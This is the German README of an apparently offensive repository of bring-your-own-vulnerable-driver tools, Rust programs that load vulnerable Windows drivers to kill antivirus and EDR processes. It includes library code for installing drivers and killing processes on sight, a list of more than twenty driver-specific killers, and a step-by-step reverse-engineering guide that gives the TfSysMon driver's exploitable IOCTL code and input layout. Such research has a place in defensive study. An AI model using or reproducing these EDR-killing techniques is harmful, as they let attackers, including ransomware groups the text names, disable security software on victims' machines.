BYOVD

BYOVD ist eine Sammlung von PoCs, die demonstrieren, wie verwundbare Treiber ausgenutzt werden können, um AV-/EDR-Lösungen zu deaktivieren.

Die Sammlung umfasst sowohl undokumentierte Treiber als auch solche, die bereits in LOLDDrivers oder den von Microsoft empfohlenen Treiber-Blockregeln abgedeckt sind.

Seit seiner ursprünglichen Entdeckung wurde der TfSysMon-Treiber zu LOLDrivers hinzugefügt und von Ransomware-Gruppen mithilfe des EDRKillShifter-Tools missbraucht, wie von Sophos und ESET berichtet.

📚 Inhaltsverzeichnis

• 🔍 Übersicht
• 🏗️ Projektstruktur
• 🔧 Erstellung
• 📦 byovd-lib
• 💡 PoCs
• 🔬 Vollständiger Reverse-Engineering-Prozess für Treiber (x64)
• 🔗 Referenzen
• ⚠️ Haftungsausschluss

🔍 Übersicht

Die BYOVD-Technik hat in der offensiven Sicherheit in letzter Zeit an Popularität gewonnen, insbesondere mit der Veröffentlichung von Tools wie SpyBoys Terminator (verkauft für 3.000 $) und dem ZeroMemoryEx Blackout-Projekt. Diese Tools nutzen verwundbare Treiber aus, um AV-/EDR-Agenten zu deaktivieren und so weitere Angriffe durch reduzierte Erkennung zu erleichtern.

Dieses Repository enthält mehrere PoCs, die zu Bildungszwecken entwickelt wurden und Forschern helfen zu verstehen, wie diese Treiber missbraucht werden können, um Prozesse zu beenden.

🏗️ Projektstruktur

Das Projekt ist als Rust-Cargo-Workspace organisiert. Die meisten PoCs teilen sich eine gemeinsame Bibliothek (byovd-lib), die die Grundarbeit übernimmt: Treiberdienst-Lebenszyklus, IOCTL-Dispatch, Prozessüberwachung, Privilegienanpassung und Bereinigung. Jeder Killer ist ein schlankes Binärprogramm (~50–100 Zeilen), das nur seine treiberspezifische Konfiguration definiert. K7Terminator, Astra64-Killer, Ktapi-Killer und Xhunter1-Killer sind eigenständig – sie besitzen eigene [workspace]-Deklarationen und werden direkt aus ihren eigenen Verzeichnissen erstellt, nicht über den Root-Workspace.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

Jedes `*-Killer/`-Verzeichnis enthält sein eigenes `Cargo.toml`, `src/main.rs` (die `DriverConfig`-Implementierung + CLI), `README.md` (Treiber-Hashes + Verwendung) sowie die passende `.sys`-Datei, die die Binärdatei zur Laufzeit lädt.

## 🔧 Erstellung

**Voraussetzungen:** Rust-Toolchain und Visual Studio Build Tools mit dem Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binaries werden in target/release/ ausgegeben. Kopieren Sie die entsprechende .sys-Treiberdatei in dasselbe Verzeichnis wie die ausführbare Datei, bevor Sie sie ausführen.

📦 byovd-lib

byovd-lib ist die gemeinsame Bibliothek, auf der alle PoCs (außer K7Terminator) aufgebaut sind. Sie stellt zwei komplementäre APIs bereit – eine deklarative High-Level-API für den Standardablauf „Treiber installieren, auf Sicht töten, aufräumen“ und eine imperative Low-Level-API für Killer, die einen benutzerdefinierten Ablauf benötigen (Anhängen an einen bereits geladenen Treiber, Verzweigen auf mehrere PIDs, strukturierte IOCTL-Puffer, benutzerdefinierte Wiederholungslogik usw.). Beide können in derselben Binärdatei gemischt werden.

Modulaufbau```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### High-Level-API: `DriverConfig`-Trait + `run()`

Das verwenden die gebündelten Killer. Implementiere das Trait, rufe `byovd_lib::run()` auf, fertig.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() führt Folgendes aus: preflight_check → Dienst installieren (SERVICE_DEMAND_START) → StartService → Kill-on-Sight-Überwachung (Strg+C zum Beenden) → Dienst stoppen und löschen.

Optionale Trait-Overrides mit ihren Standardwerten:

Low-Level-API: imperative Bausteine

Wenn der Trait-Ablauf nicht passt – z. B. der Treiber ist bereits geladen und du möchtest nur ein einziges IOCTL auslösen, du benötigst eine benutzerdefinierte Wiederholungsrichtlinie, das IOCTL erwartet eine strukturierte Eingabe statt nur einer PID, oder du möchtest auf alle passenden PIDs verteilen – dann setze die Low-Level-Bausteine direkt zusammen.

Treiber-Lebenszyklus – ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL-Dispatch** – `DeviceHandle` stellt fünf typisierte Formen bereit:

| Methode | Verwendung |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Sowohl Eingabe- als auch Ausgabepuffer, getrennte Typen |
| `ioctl_inout<T>(code, &mut data)` | Gleicher Puffer für Eingabe + Ausgabe |
| `ioctl_in<I>(code, &input)` | Nur Eingabe, kein Ausgabepuffer |
| `ioctl_in_unchecked<I>(code, &input)` | Nur Eingabe, Fehler ignorieren (pro Aufruf Alternative zu `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Rohzeiger-Notausstieg |

Die typisierten Formen entfernen das manuelle `to_ne_bytes()` / `extend_from_slice()`-Boilerplate, wenn der IOCTL eine Struktur annimmt (z. B. `{ pid: u32, padding: [u8; 20] }`).

**Prozesssuche** – `find_pid_by_name(name)` (erste Übereinstimmung) und `find_all_pids_by_name(name)` (alle Übereinstimmungen, schließt System-PIDs ≤ 4 aus).

**Benutzerdefinierte Monitor-Schleife** – `run_monitor_loop(name, interval, |pid| ...)` nimmt eine Closure entgegen, sodass Sie pro Übereinstimmung tun können, was Sie möchten (mehrere IOCTLs, strukturierte Protokollierung, Fan-out über PIDs, Wiederholung bei Fehlern).

**Berechtigungen** – `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` für Treiber, die explizite Token-Berechtigungen erfordern. `ensure_running_as_local_system()` gibt einen Fehler zurück, wenn der Prozess nicht als `S-1-5-18` ausgeführt wird.

**Handle-Wrapper** – `WinHandle` (automatisches `CloseHandle`) und `ScHandle` (automatisches `CloseServiceHandle`) sind `Send + Sync` und können über Threads hinweg verschoben werden.

### Beispiel: An einen bereits geladenen Treiber anhängen, ohne Dienstlebenszyklus

Das macht `UnknownKiller --attach` – SCM vollständig überspringen, einfach das Gerät öffnen und den IOCTL einmal auslösen:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Back-compat-Aliasse

FileHandle / ServiceHandle lösen weiterhin zu WinHandle / ScHandle auf, und get_pid_by_name bleibt als Alias für find_pid_by_name erhalten, sodass älterer Code, der diese Namen referenziert, weiterhin kompiliert.

💡 POCs

Nachfolgend sind die Treiber und ihre jeweiligen PoCs aufgeführt, die in diesem Repository verfügbar sind:

• AppRemover-Killer: Ziel ist ardrv.sys von OPSWAT AppRemover.
• Astra64-Killer: Ziel ist astra64.sys von EnTech Taiwan (Astra32 / TVicHW) -- eigenständiger, reiner Daten-Shadow-SSDT-Hijack-EDR-Killer.
• BdApiUtil-Killer: Ziel ist BdApiUtil64.sys von Baidu AntiVirus (CVE-2024-51324).
• CcProtect-Killer: Ziel ist CcProtect.sys von CnCrypt.
• EnPortv-Killer: Ziel ist EnPortv.sys von Guidance EnCase.

🔬 Vollständiger Reverse-Engineering-Prozess für Treiber (x64)

Dieser Abschnitt demonstriert die vollständige A-Z-Reverse-Engineering-Methodik am praktischen Beispiel des TfSysMon-Treibers. Dieser Prozess gilt für die Analyse jedes x64-Windows-Kernel-Treibers.

🎯 Schritt 0: Voranalyse - Screening der Funktionsimporte

Überprüfe die Treiberimporte, bevor du mit dem Reverse Engineering beginnst.

Ein grundlegender Prozess-Killer-Treiber benötigt 2 Dinge:

eine Möglichkeit, ein Handle auf einen Prozess zu erhalten (zum Beispiel ZwOpenProcess oder NtOpenProcess)

eine Möglichkeit, den Prozess zu beenden (zum Beispiel ZwTerminateProcess oder NtTerminateProcess)

Prüfe, ob ein Treiber beide Funktionstypen importiert. Wenn ein Treiber in seinen importierten Funktionen Nt/ZwOpenProcess UND Nt/ZwTerminateProcess enthält, ist er ein potenzieller Kandidat für einen Prozess-Killer-Treiber.

Erst nach Bestätigung dieser Importe solltest du mit dem detaillierten Reverse Engineering in IDA Pro fortfahren.

🛠️ Voraussetzungen für die x64-Treiberanalyse

Erforderliche Tools:

• IDA Pro - zum Disassemblieren des Treibers für die statische Analyse
• OSRLoader - zum Laden/Ausführen des Treibers (Alternative zum sc.exe-Befehl)

📍 Schritt 1: DriverEntry lokalisieren und analysieren

Jeder Windows-Treiber beginnt mit DriverEntry - finde zuerst diese Funktion:

Bei TfSysMon sieht der DriverEntry wie folgt aus:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**Analysehinweise:**
- Der Code führt eine Initialisierung mit BugCheckParameter2 und BugCheckParameter3 durch
- Die eigentliche Treiberinitialisierung erfolgt in `sub_17484`
- Verfolgen Sie den Aufruf von `sub_17484(DriverObject)` – hier findet die tatsächliche Treibereinrichtung statt

### 📍 Schritt 2: Initialisierungskette des Treibers verfolgen

**Navigieren Sie zur Initialisierungsfunktion (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

Wichtige Erkenntnisse aus dem Reverse Engineering:

• Gerätename: \\Device\\TfSysMon (Kernel-Space)
• Symbolischer Link: \\DosDevices\\TfSysMon (im Benutzermodus zugänglich als \\.\\TfSysMon)
• Gerätetyp: 0x22 = FILE_DEVICE_UNKNOWN
• IRP-Handler: Alle Hauptfunktionen zeigen auf sub_17694
• Zielfunktion: MajorFunction[14] = IRP_MJ_DEVICE_CONTROL-Handler

📍 Schritt 3: Analysieren Sie die IRP-Dispatch-Funktion

Navigieren Sie zur Dispatch-Funktion (sub_17694):```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**Reverse-Engineering-Analyse:**
- Die Gerätevalidierung erfolgt zuerst (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` bestimmt den Operationstyp
- **KRITISCH**: MajorFunction-Werte 14 (0xE) und 15 (0xF) rufen `sub_177D8` auf
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL-Verarbeitung
- Der verwundbare Codepfad ist: **IOCTL-Anfrage → sub_177D8**

### 📍 Schritt 4: Reverse Engineering des IOCTL-Handlers

**Navigieren Sie zur IOCTL-Verarbeitungsfunktion (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

Kritische Erkenntnisse aus dem Reverse Engineering:

• IOCTL-Extraktion: v7 = *(_DWORD *)(a2 + 24) ruft den IOCTL-Code aus IO_STACK_LOCATION ab
• Eingabepuffer: Irp->AssociatedIrp.MasterIrp enthält Benutzerdaten
• Pufferlänge: v9 = *(unsigned int *)(a2 + 16) ruft die Größe des Eingabepuffers ab
• Verwundbarer IOCTL: 0xB4A00404 führt zu sub_1837C
• Größenprüfung: Validiert nur, dass der Puffer ≥ 0x18 (24 Bytes) ist – minimale Validierung!

📍 Schritt 5: Analysieren Sie die verwundbare Funktion

Navigieren Sie zur Prozessbeendigungsfunktion (sub_1837C):```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**Funktionsanalyse:**
- **Eingabestruktur**: Aus der Treibercode-Analyse haben wir das Puffer-Layout ermittelt, bei dem sich die PID bei Offset +4 befindet
- **Eingabe-Parsing**: `v3 = *(void **)(a1 + 4)` extrahiert die PID aus dem Eingabepuffer bei Offset +4
- **Prozessöffnung**: `ZwOpenProcess` mit minimalen Zugriffsrechten (1u = PROCESS_TERMINATE)
- **Keine Sicherheitsprüfungen**: Keine Validierung der Berechtigungen des Aufrufers oder des Schutzes des Zielprozesses
- **Prozessbeendigung**: Direkter Aufruf von `ZwTerminateProcess`
- **Wiederholungslogik**: Mehrere Versuche sowohl für das Öffnen als auch für die Beendigung
- **Beliebiger Prozess**: Kann jeden Prozess beenden, der für das SYSTEM-Konto zugänglich ist

### 📍 Schritt 6: Die vollständige Angriffskette abbilden

**Vollständiger Reverse-Engineering-Ablauf:**
1. **Einstiegspunkt**: Der Benutzer ruft `DeviceIoControl` auf `\\.\\TfSysMon` auf
2. **IRP-Erstellung**: Der I/O-Manager erstellt ein IRP mit MajorFunction = 14
3. **Dispatch**: `sub_17694` leitet zur IOCTL-Verarbeitung an `sub_177D8` weiter
4. **IOCTL-Prüfung**: `sub_177D8` validiert den IOCTL-Code `0xB4A00404` und die Puffergröße ≥ 24 Bytes
5. **Ausführung**: Ruft `sub_1837C` mit dem Benutzereingabepuffer auf
6. **Beendigung**: `sub_1837C` extrahiert die PID aus Offset +4 und beendet den Prozess über `ZwTerminateProcess`

**Eingabepufferstruktur (aus dem Reverse Engineering des Treibers):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

Diese Methodik zeigt, wie man systematisch jeden Windows-x64-Kerntreiber reverse-engineeren kann, um ähnliche Schwachstellen zu identifizieren, indem man dem Ausführungspfad von der Kommunikation im Benutzermodus bis hin zu gefährlichen Kernel-Operationen folgt.

Unterstützung 🍺

Wenn BYOVD deinen Red-Team-Operationen geholfen hat, kannst du mir gerne ein Bier ausgeben:

🔗 Referenzen

• Alice Climent-Pommerets Blog: Finding and Exploiting Process Killer Drivers with LOL for $3000
• LOLDrivers: Ein zentrales Repository bekannter verwundbarer Treiber
• Microsoft Driver Block Rules: Microsofts empfohlene Treiber-Blockregeln
• Windows Kernel Programming von Pavel Yosifovich
• Windows Internals, Teil 1 & 2 von Mark E. Russinovich, Alex Ionescu, David Solomon

⚠️ Haftungsausschluss

Das BYOVD-Projekt dient ausschließlich Bildungs- und Forschungszwecken. Der Autor ist nicht verantwortlich für jeglichen Missbrauch oder Schäden, die durch diese Programme verursacht werden. Hole immer die ausdrückliche Genehmigung ein, bevor du diese Tools auf einem System verwendest.